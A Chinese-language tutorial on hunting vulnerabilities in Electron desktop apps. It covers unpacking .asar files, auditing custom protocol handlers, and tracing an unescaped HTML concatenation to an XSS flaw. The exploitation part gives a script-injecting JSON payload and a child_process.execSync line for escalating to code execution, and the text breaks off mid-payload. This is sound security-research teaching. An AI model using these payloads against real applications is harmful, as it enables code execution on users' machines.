electron应用漏洞挖掘
字数 1052 2025-08-26 22:11:45
Electron应用漏洞挖掘实战指南
前言
Electron是一个流行的桌面应用开发框架,允许开发者使用Web技术(HTML、CSS、JavaScript)和Node.js结合来快速开发跨平台桌面应用。然而,由于使用了JavaScript等技术,也引入了Web应用中常见的安全漏洞,如XSS(跨站脚本攻击)。本指南将详细介绍如何对Electron应用进行漏洞挖掘。
准备工作
解包Electron应用
Electron应用的真实内容通常位于resources目录下:
-
一般会有两个
.asar包:electron.asar- 与Electron框架本身相关,通常不需要分析- 另一个
.asar文件 - 包含应用的实际代码
-
使用
asar工具解包:sudo npm install -g asar # 安装asar工具 asar extract app.asar <输出目录> # 解包应用
如果应用没有使用.asar打包而是直接提供了代码目录,则可以跳过这一步。
代码审计
1. 查找主文件
解包后,首先查找应用的主文件(通常是main.js),这是应用的入口点,处理应用的启动逻辑。
2. 检查自定义URL协议
Electron应用可以注册自定义URL协议(如custom://),使得可以通过浏览器直接打开应用。处理不当可能导致RCE(远程代码执行)等严重漏洞。
示例代码:
const protocol = electron.protocol
const PROTOCOL_PREFIX = 'todo2' // 自定义协议前缀
function createWindow() {
mainWindow = new BrowserWindow({width: 1000, height: 800})
// 处理自定义协议URL
protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
const fullUrl = formFullTodoUrl(req.url)
devToolsLog('full url to open ' + fullUrl)
mainWindow.loadURL(fullUrl)
})
}
审计要点:
- 检查自定义协议的处理逻辑
- 确认是否有对输入进行适当的验证和过滤
- 检查
loadURL等敏感函数的调用
3. 代码反混淆
如果代码被混淆,需要先进行反混淆处理。常见的JavaScript混淆工具如javascript-obfuscator可以使用在线工具进行反混淆:
推荐工具:https://lelinhtinh.github.io/de4js/
反混淆后,原有的变量名可能无法恢复,可以使用IDE的重命名变量功能提高代码可读性。
4. 寻找输入点
为了寻找潜在漏洞,需要先识别应用的输入点:
- 根据应用功能定位相关HTML文件(如
editpoc.html) - 使用IDE的文件结构功能快速浏览大型文件
- 重点关注数据获取和处理函数
示例发现:
var $input2 = $("<input type='text' value='"+value+"' name='value' class='form-control' style=' width:20%; display: inline-block;' placeholder='value'>");
这段代码直接将用户控制的value拼接进HTML字符串,没有进行任何过滤,可能导致XSS漏洞。
5. 数据流追踪
追踪value的来源:
var value = v.value;
if (typeof(item.ExpParams) == "undefined") {
var ExpParams = [];
} else {
var ExpParams = item.ExpParams;
}
进一步追踪发现数据来自JSON解析:
var pocJsonInfo = getPocJsonByRubyFileName(FileName);
pocJsonInfo = JSON.parse(pocJsonInfo);
漏洞利用
XSS漏洞利用
构造恶意JSON数据:
"ExpParams": [
{
"name": "test'/><script>alert(1)</script>",
"type": "input",
"value": "test"
}
]
升级为RCE
由于Electron允许使用Node.js功能,XSS可以升级为远程代码执行:
require('child_process').execSync('xxxxx')
实际利用示例(Linux环境下弹出计算器):
"ExpParams": [
{
"name": "test'/></td></tr>